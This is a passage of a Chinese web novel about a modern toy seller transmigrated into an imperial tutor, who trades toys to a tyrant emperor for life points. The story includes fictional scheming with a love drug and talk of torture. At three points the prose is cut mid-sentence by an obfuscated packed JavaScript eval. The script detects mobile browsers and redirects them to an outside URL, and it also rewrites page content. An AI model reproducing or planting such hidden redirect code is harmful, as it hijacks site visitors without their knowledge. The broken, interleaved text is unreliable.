“诶我说,你应该去绑定萧子政的啊,怎么不让我穿到萧子政身上。”顾衡之像是想起什么似的,道,“偏偏这么个窝囊开局,前有狼后有虎。” “你以为我不想?”系统沉默了片刻。 “哟,嫌弃了?终究是错付了。”顾衡之摇了摇头,阴阳怪气道,但他还是有分寸的,直到当务之急是获取生命值。 “系统,你再给我看看有哪些玩具。”等室内安静下来没有其他人后,顾衡之闭上眼睛道,他依旧躺在床上。 顾衡之的脑中已经有了一个大概的计划。 首先,从顾衡之的职业定位出发锁定目标客户,他现在是太傅,放在现代,那就是老师。如果顾衡之没有记错的话,他以前是萧子政的老师,只教过萧子政一人,等到萧子政当上太子后,也就跟着鸡犬升天了。现在萧子政已经长大了,就这暴脾气,哪里还听顾衡之教的。在萧子政登上皇位后,顾衡之就请职担任翰林书院的教习。可萧子政把顾衡之派去担任学监,简单来说,就是负责看护京城王公贵族子女放学写作业的,就是个闲职。 虽然这把原主气了个半死,但此时却便宜了顾衡之。 玩具嘛,不都卖给小孩子玩的?先把第一页的玩具卖出去,第二页的到时候再说,至于第三页的小玩具,那就卖给主角攻和主角受吧。顾衡之依稀记得他们是全书最会玩的一对。 无论是主角攻受还是王公贵族子弟,无一例外都是腰缠万贯,买个最贵才一吊钱的玩具,应该没什么问题。 确定完目标群体,顾衡之接下来要做的就是筛选货源,决定要卖出的第一件物品。 “我选这个小公主陀螺。”顾衡之道,勉强从众多奇形怪状的玩具中选出了一个正常点的东西。 【叮咚,兑换中。友情提示,每位顾客的通用货币将量身定制,商品价格仅供参考,不一定是用当朝钱币才能购买哦~】 “仅供参考?”顾衡之艰难地撑着身体坐了起来。虽然,顾衡之很震惊,但他就怕惊动到在门外头守着伺候的宫女,所以特地把声音控制得很轻---- 钱对这些达官贵人来讲是小事,一两银子对他们来说可能不多,可用来买玩具就很不值得。又有谁愿意吃亏呢? 顾衡之的手上出现了一个色彩绚丽的陀螺。 顾衡之以前是批发商,在小商品城卖玩具,其实他一直都无法理解小孩子的玩意儿。 别看现在的陀螺这么平平无奇,只要按下手柄上的按钮,底下的陀螺就会发射出去。发射出去后的陀螺可是会亮着堪比蹦迪舞池的炫酷灯光,还会伴随着每位公主的歌声,十分鬼畜。 “你这东西有版权吗?”顾衡之把玩着手里的小玩意儿。 【宿主为什么这么问?】系统好奇地说道,一个毛茸茸的白色毛球从顾衡之的袖口钻了出来,这就是系统的本体,现在没人看见,它好不容易才能出来透透气。 “听说迪某尼的法务部很厉害,要是在荒岛迷失了,在沙滩上画个米老鼠头,他们法务部都能追过来起诉,要是我把这东西卖出去了,你说我是不是就能被他们带回现代了?”顾衡之开玩笑道。 白色毛球的头上多了几条黑线,是被顾衡之的话无语到的。 见系统没搭话,顾衡之也没有气恼,他拿着陀螺把玩了一阵,便把东西藏在袖子里了。 得亏萧子政不会照顾人,没帮他把外头的大袍子给脱掉,要不然,顾衡之还真不知道该把这玩具藏在哪里。 “参见陛下。”殿外,宫女太监们行礼的声音轻轻响起,厚重的殿门忽然开了一条缝,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14467637|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来一股冷气。 这样的动静,一听就知道是萧子政回来了。 顾衡之还没有想好用怎么样的面孔面对萧子政,他不慌不忙地缩到了被子里,不知是不是被窝里暖和的缘故,顾衡之好像没有那么害怕萧子政了。 门关上了,宫人们貌似都没有进来,所以苍龙殿内,只有顾衡之和萧子政孤男寡男两个人。 “哗啦!” 帐子忽然被掀开了一半,里头的顾衡之深吸了一口气,放缓了呼吸。 那暴躁掀帐子的人像是想起什么似的,又把掀开的帷幔放了下来,然后轻轻地掀起,动静比先前安静了许多。 顾衡之好好地躺在里面,脸颊因为十床锦被的缘故也变的红润起来,说实话,顾衡之快被压死了。 床边的锦被塌陷下去,萧子政坐在床边。 就算是闭着眼顾衡之也能感受到萧子政宛若有实体的目光。 小暴君干嘛呢,有那么好看吗? 顾衡之心道,他正在估摸着萧子政什么时候能赶快走,凉凉的风终究吹到了顾衡之的耳边。 “别装了,顾太傅。”萧子政的指甲刮在顾衡之的脖子上,像是淬了毒的刀刃。 顾衡之没有敢马上睁眼,他怕萧子政是在诈他---- 按照萧子政的惯性,不应该马上就把他掐死吗? “太傅可是生气了?是觉得作为区区臣子,睡到君王的塌上污了自己的清誉?” 萧子政轻飘飘道。 顾衡之还是紧闭双眼,发挥鸵鸟精神,奇怪的是,他现在不是很怕萧子政,他总觉得萧子政不会杀他。 “顾衡之,你若是再不醒......” 萧子政的视线逐渐往下移。 擦,这暴君,怎么对别人的小鸟情有独钟!先是阉了他那表皇叔,现在轮到他了? 现在顾衡之不得不睁眼了。 当然,就算已经被识破了,顾衡之依旧装作从睡梦中醒来的样子,幽幽转醒,好不容易才从重重叠叠的被窝里面爬了出来。 “陛下,您怎么在这儿,臣这是......”顾衡之故作吃惊,环顾四周,顾盼生辉,演技十分用力。 这对于顾衡之来说并不难,他在现代的时候是批发商,做生意的,忽悠别人拿货的时候,能演得天花乱坠。 顾衡之演着演着就想要下床行礼,萧子政静静地看着顾衡之演,面无表情,就连顾衡之下床的时候都不来扶的。 被子外很凉,见萧子政没有阻拦的意思,顾衡之悻悻地把脚收了回来,又埋在了暖和的被窝里。 “萧筝。”萧子政毫无征兆地开口说道,“我阿父取的,因为父皇弹得一手好筝。” 阿父取的,因为父皇? 顾衡之一时间没有搞懂萧子政这是啥子语法。 但很快顾衡之就意识到萧筝就是萧子政的本名。 “系统,我知道宝箱的答案了。”顾衡之心道,“选D。” 顾衡之说罢,眼前出现了一个荧光屏,显示三点生命值就被他收入囊中。 “不是三十......”顾衡之刚想质问,就看到了规则提示上那小得跟苍蝇腿似的“至多”。 至多三十点,没说百分百奖励三十点。 “这么坑......”吃了个哑巴亏,顾衡之话都说不出来了。 没有对比就没有伤害,面对来自于宝箱机制的恶行,他愈发觉得萧子政要顺眼得多。 虽然萧子政的气势很恐怖,但是有福利,人家是真的给啊,又让他睡龙床,又主动告诉他原名。 顾衡之看着萧子政的时候都不由自主地带上了一层滤镜。 “我会记住的。”顾衡之真诚地看着萧子政,既然萧子政没有说“孤”这个自称,顾衡之也没有称臣。 皇权社会,当然是皇帝最大,跟萧子政的关系肯定不能太僵持。 要做好人臣,就不能只做臣子。 顾衡之说罢,萧子政就一直看着他,目光凝聚,就好像是准备出击猎食的猛兽。 顾衡之勉强地笑了笑,心里却一直打鼓---- 难不成萧子政发现他不是原主了?进展太快了吗...... 萧子政有些冰凉的手沿着顾衡之的脸颊游走,像是在试探顾衡之脸上有没有贴易容的面皮。顾衡之装得很淡定,他仍由萧子政摸着,眼中还透出些不解。 萧子政的指尖又游曳到顾衡之的鬓发,萧子政轻轻一勾,发带就散下来了。 顾衡之感觉到萧子政的目光扫过了系统的本体毛球。 “子筝,无字,及冠,尤擅射箭、刑讯逼供。”萧子政的话听得顾衡之莫名其妙,顾衡之许久才反应过来萧子政是在说自己的名,字,年龄,长处。 萧子政说完自己为数不多的长处后顿了顿,随后他的脸上浮现出骄傲:“太傅,刑部的《东乾七十二极刑》便是由孤亲自编纂,撬开了无数细作的嘴巴。” 萧子政的话听得顾衡之满头大汗----- 感情这些在别人的眼中是暴行,在暴君自己眼里还是勋章喽! 但吐槽的话,顾衡之也只敢在心里想想,可不敢说出来。 然而,就算顾衡之没有把话说出来,萧子政就好像有读心术似的,一眼就看穿了顾衡之的真实想法。 “哼,太傅是又打算和孤理论理论仁礼智信,为君不可道之以政,齐之以刑?” 萧子政不屑地说道,貌似对原主教导的理论十分不屑。 明明原主才是太傅,但是此时此刻,顾衡之却隐约从萧子政脸上读出了几分‘恨铁不成钢’的意味。 顾衡之还没有反应过来,萧子政的手往床下的暗格处摸去,紧接着顾衡之就被扑倒了。 一把明晃晃的匕首就已经架在了他的脖子上,像是在说如果记不住就要了顾衡之的小命。 您倒是把匕首放下啊!疯子! 顾衡之瞳孔地震。 他觉得左手有些疼,脑子里蒙了层雾,一时间不知道该说些什么好,他看见了萧子政眼下的阴翳,想起暴君在朝上一脚踢断桌案的样子,顾衡之毫不怀疑萧子政有实力将他一击毙命,血染龙床。 不行,不能这么坐以待毙,他不是原主,不像原主那么大义,要是萧子政敢杀他,他绝对会...... 会,诶? 顾衡之盯着萧子政的脖子,他的脑中正演绎着如何在萧子政看上来时,先一步咬断萧子政的血管,然而,萧子政已经先一步把匕首扎进了---- 枕头里。 “你抖什么。”萧子政不解地皱了皱眉,“送你了,要是那几个老东西再敢来威胁你,你就一刀给他们个了断,这是御赐的匕首,谅他们也没有那个狗胆反抗。” 顾衡之:...... 谁家好人timi的送匕首的时候架别人脖子上啊! 3. chapter3重要的人 皇宫外,世子萧子恪的王府内,一个黑影翻过围墙,急速地飞进了一个昏暗的房间内,过雪不留痕。 密不透风的暗房内,昏暗的烛光在烛灯上窜动,上位的烛灯之间供奉着陶制的武神,怒目圆睁,神像前紫烟幽幽。在神像上方,写着潇洒的四个大字“赤胆忠心”。 神龛前,一个身着白色单衣的男子负手而立,烛火映在他的瞳孔中,凝着邪气,明明是大冬天,他却拿着一把折扇,扇子上题着一首露骨的艳词“欲掩香帷论缱绻,衣带渐宽,交颈作鸳鸯,红蕊涨暖冬意薄,梅花几点春衫湿,春光无限好,何惧锦衾薄”,落款是草草的三个字,“萧子恪”。 此人正是主角攻萧子恪。 而跪在地上的则是他派出去打探宫内消息的暗卫。 萧子恪并没有官职,按照东乾的传统,没有官职的皇亲国戚未经皇帝传召不得擅自进宫,否则视为谋反,格杀勿论,所以他想要得知宫里发生的事情,也就只能派探子去打听了。 萧子政登基后,诸王的探子被尽数坑杀,幸而萧子恪平日里装作耽于玩乐的纨绔,当初也帮过萧子政除去其他皇子,所以现在他手下还留有探子。 暗卫低声道: “大人,顾衡之还没有死,今早还去了早朝,当朝进谏希望萧子政广纳后宫,接着便昏死在了大殿上。” “他没死,还去见了萧子政......”萧子恪收起手中的扇子,沉思了片刻,“他们没有再起争端?” “大人料事如神,萧子政像抱着姑娘似的,把顾衡之抱去了寝宫。”暗卫谄媚地笑了起来,虽然他并不知道撮合萧陛下和顾太傅,跟他们的大计有什么关系。 闻言,萧子恪仰天大笑:“如果,运气好,说不准过了年,本王就能见到小侄儿了。” 萧子恪话音刚落,暗卫都愣住了。 暗卫甚至都怀疑萧子恪是魔怔了: 顾太傅是男人,萧陛下也是男人,哪里来的小侄儿。 兴许是人逢喜事精神爽,萧子恪不厌其烦地解释道:“萧子政这厮,虽然如今他声名狼藉,但是实力仍旧不容小觑,当初,还是垂髫小儿的他就生生割断了三皇子的脖子,杨太保的军权又被萧子政明升暗贬地削走了一半,李将军也是萧子政的人,如今萧子政独揽大权,本王的父亲身为摄政王,却一点没有野心,那些个书生文臣只会舞文弄墨,既然萧子政没有弱点,那就要给他制造弱点。狮王固然可怕,但怀了孕的狮王……” 萧子恪面对这那写着“赤胆忠心”的字画冷笑。 谁能想到,当今圣上萧子政,居然是重身之体。 传闻重身之体的肩膀上都会有一朵蓝色的妖花,他们的身体构造虽然是完完全全的男性,在习武和气力方面甚至比普通男子还要强上许多,杀伐果断,力大无穷,是天生的武者。但是世上嫌少有人知道,重身之体的更为神奇之处,就在于他们与男子交合后,无论是作为主动方还是承受方,重身之体能够有孕。 一旦他们有孕,就相当于拥有了最大的弱点。与女子可不一样,重身之体有孕后会变得格外需要另一半的滋养,要是没了来自另一半的滋润,生子的时候,就是一只脚踏入棺材里了,不过,与之相反的是,如果有了另一半的滋润,重身之体在产子的时候就会极其容易,更有甚者能进入一种飘飘欲仙的极乐状态,武力也会大幅度提升。 所以说,只要顾衡之能跟萧子政有染,他萧子恪再用毒药控制住顾衡之,那么他对这皇位就是胜券在握。 萧子恪心里的小九九暗卫并不知道,他还是没有懂萧子恪的意思,眼神中满是迷茫。 不过,萧子恪说这番话本意也是说给自己听,他摆了摆手道:“你下去吧,宫里有什么动静记得报告给本王,让剑兰先把这个月的解药给顾衡之吧,找时机就把东西加到顾衡之常戴的珠串上。” 萧子恪说的珠串,就是顾衡之戴在手上的饰品,那是萧子政送给顾衡之的拜师礼。萧子政知道自己的体质所以警惕性极强,想让他与顾衡之交合可没那么容易。 萧子政估计怎么也想不到,送给顾衡之的拜师礼上,会参杂催发情爱的药物吧…… “是。”暗卫拱手朝萧子恪行礼,随后小心翼翼地从暗门出去了。 暗卫走后,萧子恪望着神龛上的神像左右踱步。 虽然计谋初步得逞,但是有一件事,萧子恪仍旧觉得蹊跷。 顾衡之一直自居太傅,自认为是萧子政的老师,当初就算死也不愿意做这种勾当,怎么忽然就愿意了? 罢了,这段姻缘,就让他萧子恪来帮他们牵上。 萧子恪恶意地笑了。 * 此时,被萧子恪盼望着,跟萧子政一起生小侄儿的顾衡之,并不知道在宫外的主角攻心里,他顾衡之已经和萧子政的关系突飞猛进,直上高速。 顾衡之仍旧在玛卡巴卡,他在思考如果他不接这把匕首的话,萧子政会不会立刻叫人把他拖出去处以极刑。 还有一点,顾衡之十分不解—— 萧子政这厮,明明都知道那什么广纳后宫是大臣们搞得鬼,在朝廷上居然还那样吓唬他。 这匕首,难不成是小暴君为了道歉才送的? 【笨蛋宿主,快接啊。】系统看不下去了,【这不摆明了,小暴君在跟你道歉呢。】 “不不不,我觉得没那么简单。”顾衡之还是觉得不对劲,“谁知道这把匕首是不是有什么象征意味,以前刚出来做生意的时候,我就吃过亏,喝了个别人接过来的茶水,都能被认为是答应了签合约,萧子政的意思不会是只要我一接过匕首,就等于接下了除去群臣的任务吧?要真是这样,我又不会武功,到时候岂不是死路一条,还会拖累原主的家人。” 【不日,宿主,你刚刚不是还对小暴君有好感的吗?现在还怀疑上了?】系统无语道。 “喜欢小暴君的人设和怎么跟小暴君相处是两码事儿,这就跟叶公好龙差不多。”顾衡之解释道。 思虑之下,顾衡之还是决定选择拒绝。 顾衡之想起刚刚萧子政摸他的脸,估计小暴君还是怀疑了什么,为了解除萧子政的疑惑,顾衡之端起一副文绉绉的姿态道:“陛下的礼物太过贵重,衡之仅仅只会舞文弄墨,这样好的匕首,放在衡之身上,就好比折戟沉沙,实在可惜。” “孤御赐的东西,就这么让太傅看不上眼?”萧子政不悦道,眉头紧拧,“太傅思索这么久,怕不是在想怎么拒绝孤吧。” md,小暴君还会读心术的吗? 顾衡之暗暗吃了一惊,他一听萧子政这沉下来的语气,就知道萧子政又要发火了,他连忙否认道:“陛下的礼物太过于贵重,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“自……自然,陛下金贵,当然是最为重要的。”顾衡之不由得叹服原主的胆大,什么话都敢乱说。 萧子政的眉头舒展开来了,眼中笑意盎然,跟个孩子似的。 这反倒让顾衡之有些不好意思了,显得他好像以小人之心度君子之腹似的。 “今日的太傅,好生不一样。”萧子政道。 这句话让顾衡之警铃大作—— 光顾着活命,都忘了维持人设了,要是让萧子政知道原主已经换了个里子,怕不是要叫天占台把他当夺舍原主的妖孽给除了。 顾衡之连忙补救道:“不过,陛下虽身为万民之长,金尊玉体,但也当谨记水能载舟,亦能覆舟,臣子们对于陛下来说,就如载舟水,陛下至少应该把陈阁老和诸位大臣的名字都记住,而不是以污名代称,这样才合乎礼法。” 顾衡之话音刚落,果不其然萧子政的脸色又黑了,跟川剧变脸似的,可好玩了。 萧子政不悦地说道:“太傅,若是照着您的说法做,孤怕是早就死在了其他几个豺狼手里。礼,不过是上位者的工具,就像太傅您……” 萧子政说着说着突然停下了,他意味深长地看了顾衡之一眼,扔下匕首,拂袖而去。 看着萧子政逐渐远去的背影,顾衡之松了一口气,他正打算重新躺进被窝里,好好睡一觉,为下午卖玩具的事情养精蓄锐,然而,他刚一躺下,就听见了一阵要命且疯狂的歌声—— 要命,不小心碰到陀螺的开关了。 4. chapter4第一位顾客 顾衡之倒吸了一口凉气,他能够清楚地感受到袖口里的陀螺正在孜孜不倦地自转,七彩炫光闪闪亮亮,像是蹦迪现场,鬼畜版的“let it go”让顾衡之怀疑自己要通过时空隧道穿越回现代。 系统也惊了,它本来在顾衡之的袖口里待得好好的,眼看着萧子政马上就要走了,它正想休息一下,谁曾想它旁边的这颗能让统子产生欢乐谷效应的头颅,居然忽然发出鬼畜的歌声。 【叽!】系统忍不住尖叫,估计是陀螺的灯光太晃眼了,系统的毛绒扎着顾衡之的手臂,拼命想从顾衡之的袖口里挤出来。 “陛下!”顾衡之忽然提高了音量,他怕萧子政听到异响把他拉下去砍了,慌张地把手埋在了十床被子之下。 习武之人最是敏感,听力也比寻常人好上许多,顾衡之深知这一点,不得不用提高自己声音的方法来掩盖这要命的歌声。 本来打算出门的萧子政停了下来,耳尖微动,他转过身,那双骇人的眸子中多了几分疑惑。 一步,两步,三步…… 帷幔外,萧子政的身影越来越近,明显是已经听到了响声。 顾衡之的手心里全是冷汗,他“咻”的一下把系统掏出来扔到一边,另一只手赶紧缩到被褥之下关掉了陀螺的开关。 “唰啦!” 帷幔被萧子政扯开了,顾衡之抬头看向萧子政,虚浮的目光刚好跟萧子政的锐利视线撞在一起。 一时间,顾衡之脑中竟然回想起远古时期人类还是散装耗子时,被大型始祖鸟捕食的恐惧。 就连系统也不敢动了,它躲在顾衡之背后,静静装死。 此时此刻,顾衡之的处境十分艰难—— 首先,系统装死的地方不太妙,只要顾衡之的身体在往前倾斜一点,或者萧子政再往前走一步,有着白色绒毛的系统就会被发现。其次,陀螺的开关是关掉了,可是顾衡之还没有来得及把东西收进袖子里。 最后的最后: 他该怎么解释刚刚的声音! * 萧子政觉得自己的顾太傅很不对劲。 躲闪的眼神,藏起来的手,还有刚刚不知道从哪里冒出来的异动…… 难不成是有刺客? 萧子政的神经紧绷着,衣袖下的手已经捏成了拳头,蓄势待发,整个人都充斥着一股不容忽视的杀气,就算天底下最为的刺客,估计也会为之胆寒。 第一个吓到的就是顾衡之—— 救命,萧子政是突然想杀了他了吗?! “太傅刚刚有没有听到什么动静?”萧子政的声音小了下来,他半跪在床上,将顾衡之挡住,警惕的视线扫视着龙榻上的每一个角落。他没有在第一时间选择呼叫暗卫,或许因为他怕打草惊蛇,也是因为萧子政早就已经习惯了孤军奋战,自从登基以来,他亲手击毙的刺客,没有一百,也至少有八十了…… 顾衡之一时语塞,忍不住腹诽: 当然听到了!那声音就是从您的好太傅这里发出来的啊! “什么声音……”顾衡之的音量控制得跟萧子政的一样小,跟萧子政的谨慎不同,顾衡之是心虚。 萧子政并没有回答,他忽然搂住了顾衡之的肩膀,向床榻上倒去,像是在躲避暗处的冷箭,动作十分熟练。 “别……”躺! 顾衡之“躺”字还没有说出口,萧子政就已经带着他压在了陀螺上。 刹那间,好不容易被顾衡之关掉的“致命歌声”再次响起,毫不在乎顾衡之此刻的心情—— “let it go,let it go,go哦哦哦哦~” 一句词循环播放。 萧子政的表情变了。 顾衡之眼睁睁地看着小暴君的神色,从凌厉若剑芒变到懵懵懂懂,那双素来暴躁的眼中透着少有的迷茫。 “太傅,你被子里有其他人?!”萧子政难以置信地看着顾衡之,像是被背叛了一样。 这都什么事儿啊! 顾衡之无奈扶额。 “这么小个被窝,怎么可能藏别人!”顾衡之抓着萧子政的肩膀,把萧子政推了起来,打断了萧子政的胡思乱想。 “嘶……” 在顾衡之的手抓上萧子政的肩膀时,萧子政倒吸了一口凉气,但很快又忍了下去。 肩膀?他刚刚也没有用很大的力气啊……难不成小暴君受伤了? 疑惑在顾衡之心中升起,但是眼见萧子政明摆着就是不想让他察觉,顾衡之很有眼力见地装作没有看见。 看得出来,萧子政真的很在乎顾衡之是不是在被窝里藏了别人,就算肩膀处貌似受了伤,疼得都倒抽气了,萧子政的目光仍旧死死盯着被子。 眼看糊弄不过去了,顾衡之自暴自弃地把厚重的被子们掀了开来,那个小公主陀螺就明晃晃地躺在床单上,还在锲而不舍地歌唱着,旋转着,发亮着,一点不管顾衡之的死活。 顾衡之当着萧子政的面,再次把开关关掉了。 动作熟练得让人心疼。 “陛下,您多想了,这里并没有其他人,只有我们两个。”顾衡之索性摆烂了,“至于这个嘛,就是个玩具。” 萧子政没有回答,他像个好奇宝宝一样把陀螺拿了起来,左看右看,似乎在研究刚刚这么小个玩意儿是怎么发出嘹亮的歌声的,以及,怎么会有陀螺的形状是一个人的头倒过来。 “玩具?”萧子政好像没有听懂。 顾衡之正愁怎么解释,萧子政就已经抢答道:“这是陀螺吧。” “是……是,确实是陀螺。”顾衡之结结巴巴地应道,没有想到萧子政的接受能力还挺强的,“只不过,这跟寻常铺子里卖的玩意儿长得不太相同。” “陛下若是想玩儿,可以按上面这个地方。”顾衡之指了指陀螺手柄上的开关。 照着顾衡之说的,萧子政疑惑地摁了一下开关。 摁一下,再摁一下。 “咻!” 陀螺像个小飞棍一样蹿了出去,然后“啪”的一声降落在地上,旋转跳跃肆意歌唱。 一时间,冷清肃穆的苍龙殿内像个歌舞升平的蹦迪现场。 没有了十层被褥的遮挡,极其有穿透力的声音也传到了门外下人们的耳朵里。 宫女侍卫们冷汗直冒,但是没接到皇帝的指令他们也不敢轻举妄动—— 顾太傅和陛下在里面究竟是在做什么…… * 顾衡之也很担忧。 看着陀螺脑袋飞出去的那一瞬间,顾衡之忍不住幻视那飞出去的是自己的脑袋—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14467639|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然萧子政不觉得这东西蹊跷,但要是把那群大臣们引过来,非得说他顾衡之是被妖物附体了不可。 顾衡之正在思索怎么提醒萧子政把陀螺收起来,只见萧子政毫无防备地蹲了下来,他观察得很认真,认真到要是原主在,肯定要说萧子政太过于失态。 盯着陀螺看了半天,萧子政眉眼带笑,得出了一个结论:“太傅好生幼稚蒙昧,居然还喜欢这般垂髫小儿才会钟情的玩意。” 幼稚?到底是谁现在对这陀螺爱不释手呢! 顾衡之心想,但没敢说出口,他趁机提醒道:“陛下要是觉得无趣,那臣便收起来罢,可别叫下人看见,有损陛下威严。” 萧子政并没有生气的征兆。 顾衡之正想松一口气,就听到那前一秒还好似天真无邪的君王看着旋转的陀螺,说出了最让人觉得恐怖的话语:“太傅倒是启发孤了,前几日刑部正愁用了七十二极刑都没办法逼问出刺客的来路,倒不如令工部按照这样式做个巨大的陀螺,然后把那狗刺客绑在上头用鞭子抽,倒是十分有趣。或者把那刺客同伙的首级做成这样的玩意儿也很不错。” 顾衡之想象了一下萧子政描述的场景,只怪他想象力实在丰富,他心道: 您……是魔鬼吧! “太傅?”见顾衡之久久不说话,萧子政疑惑地看向顾衡之,“太傅是不愿意把这东西给孤?” 萧子政的话一下子点醒了顾衡之,顾衡之一下子就嗅到了商机: 对啊!这是个好机会!可以把第一个玩具卖给萧子政啊! “陛下,普天之物,皆为王物,陛下若是要,臣自然会给。”顾衡之不卑不亢地说道。 “太傅说得,好像是孤强人所难似的。”萧子政无师自通地把陀螺收了起来,“孤若硬是要,太傅又能作何?” “那衡之也别无他法。”顾衡之微微欠身,眉眼低垂,装得委屈。 “哼,太傅可愿跟孤换?”萧子政道,“太傅想要什么才愿把这玩意儿给孤?” 成了! 顾衡之内心的小人正在欢呼雀跃,他等的就是萧子政这句话: 什么小暴君啊!眼前的人就是他顾衡之的亲亲小老板! 顾衡之更喜欢萧子政了。 “系统,你听到没,来生意了!”顾衡之在脑海中跟系统沟通道。 毛球系统悄悄飞了过来,粘在顾衡之身后的发丝上:【正在锁定目标,交易对象:东乾帝王萧子政,正在评估,loading……】 伴随着系统一声“loading”,顾衡之的面前出现了一个荧光面板,面板上的进度条慢慢地移动着。 “好冷,应该穿那件厚一点的亵衣的。” 萧子政抱怨的声音在顾衡之耳边响起。 顾衡之看向萧子政的唇: 萧子政并没有说话。 刚刚是哪来的声音? 顾衡之鸡皮疙瘩都起来了。 【评估完成。】 【宿主,如果萧子政想买到玩具陀螺,需要用亵衣交换。】 “你在搞什么啊,这样岂不是显得为师很猥琐!”顾衡之前一秒还在开心后一秒就开心不起来了,他已经开始幻想拳打系统,脚踢主神的场景了,“货币不是钱的意思吗!” 5. chapter5血印 面对顾衡之的质问,系统回答道:【宿主,这您就孤陋寡闻了,货币也不一定是钱,本系统会对每位顾客身上的价值物进行专项评估,并且判断出此刻最具有价值的物品进行交换。】 【刚刚您耳畔出现的,正是萧子政的心声。此时此刻的他最想要的就是一件厚一点的亵衣,那么与之相对的,亵衣对于此刻的他是最有价值之物。 我们所要做的就是夺走它,掠夺它,剥夺它,并且用玩具价值作为交换,两者价值所产生的差价,即为宿主您即将获得的生命值。】系统解释道。 “我看你也别叫玩具系统了,干脆叫雪上加霜,强人锁男系统吧。”顾衡之无语地吐槽道。 【不不不,宿主,这都是为了您的生命着想啊。】系统蛊惑道,头上冒出了邪恶的小犄角,【如果您觉得对不起小暴君的话,事后再加倍补偿他不就好了?】 “好吧。”顾衡之蔫了下来,他万分纠结,明明自己只是个穿越过来的冒牌货,可他内心深处总觉得自己好像真的是萧子政的老师似的,总是过不去心里那个坎,“听小暴君叫那么多次顾太傅,我总觉得自己好像真成了他的太傅似的,这么猥琐,是不是不太好。” 【俗话说得好,人不猥琐枉少年嘛,宿主你也不必太过纠结。】系统鼓励道,【快拿出你在现代一个月八个大商单的自信!】 …… 眼看着这么沉默下去也不是办法,顾衡之干脆豁出去了。 “陛下,臣……臣可否请求陛下用亵衣与臣交换?”顾衡之说得很郑重,像是在说一件事关家国的大事,怕萧子政动怒,顾衡之提前跪了下来,手放在冰冷的地上,头缓缓地俯靠在地上。 要是一般人说这句话,肯定会被认为是在耍流氓。 可是顾衡之不一样,他素来恭而有礼,对于规矩的遵守到了死板的地步,就算说这样的话,也会被别人认为顾太傅有自己的道理。 没错,萧子政现在也是这么想的。 尽管耳朵烫得吓人,萧子政的第一想法,居然是顾太傅这么说,肯定是因为他的亵衣有事关国家大事的作用。 不过,萧子政也不是傻子,他后知后觉的就察觉到了不对劲。 萧子政干咳了两声,他负手而立,摆出了在朝堂上的那副威严模样,令人窒息的气势顺势而起:“太傅是在考验孤?向孤索要亵衣,意不在亵衣,而在礼法,若孤今日给了,太傅定当又不理会孤;而如今跪拜在地,行此大礼,则是在责怪孤先前不该不守规矩地把太傅抱进来?” 这都什么跟什么啊,哪有那么复杂,这个原主顾太傅这么不好相与的吗? 顾衡之着实没有想到自己的一句话,一个害怕的举动,居然被萧子政解释得这么有考量。 顾衡之很想说: 陛下,臣真的就是很单纯的想要拿到您的亵衣啊! 不过,既然萧子政没有觉得自己猥琐,那就是好事。 顾衡之没有解释,他仍旧叩首在地,像是心意已决,不拿到萧子政的亵衣就誓不罢休似的。 萧子政嘴唇颤动,寂静的气氛之中,萧子政的呼吸声变得十分明显。 萧子政再次拂袖而去。 顾衡之悄悄抬头,只见萧子政并没有走向大门口,而是往更室的方向去了—— 去拿亵衣了。 萧子政走得急切,想必他的心正如他的步伐一样乱。 “砰!” 萧子政走着走着,不小心踢到了放在一旁的矮凳,差点被绊倒。 似乎是怕丢面子,萧子政踢到凳子的第一反应居然不是喊疼,而是转头看顾衡之有没有在偷看。 顾衡之当然偷看了,不过他早就预判到萧子政会回头看,老早就低下头了。 * 半晌,萧子政终于从更室出来了。 “亵衣给太傅了,太傅现在可以好好回床榻上休息了吧。”萧子政强装镇定,把贴身的衣物递给了顾衡之。 顾衡之恭恭敬敬地双手接过。 手上的亵衣还留有萧子政的温度和清香,顾衡之觉得有些烫手—— 这件亵衣,不会是萧子政刚刚脱下来的吧…… 其实,顾衡之本来以为萧子政会拿件新的亵衣过来,哪曾想,小暴君居然不嫌麻烦地把身上这件脱下来了。 “太傅,我……孤,孤先去典狱司,你好生休息,今日午后也不必去翰林书院受那些小崽子的气。”看得出来,萧子政也被臊得语言系统都混乱了。 想来萧子政长这么大都未曾有过侍妾,骨子里应该很纯情。 不知怎的,顾衡之心里有了个莫名其妙的猜想—— 嘶,小暴君在朝堂上的表现会不会是装的?其实小暴君很好哄? 这些顾衡之暂且只敢在心里猜猜,不敢付诸实践,不过来日方长,顾衡之倒是好奇小萧子政能装到什么程度…… 【交易达成,三点生命值将在核算过差价后打入宿主的生命存折中,请宿主继续努力。】系统说道。 能活四天了。 这回,真是谢谢萧子政了。 顾衡之看着手里的亵衣。 忽然,他察觉到了不对劲—— 这件亵衣的肩膀处,怎么又好多红点点。 有点像血迹? 顾衡之几乎怀疑自己看错了。 然而,下一刻,他的脑海中传来了熟悉的提示音: 【 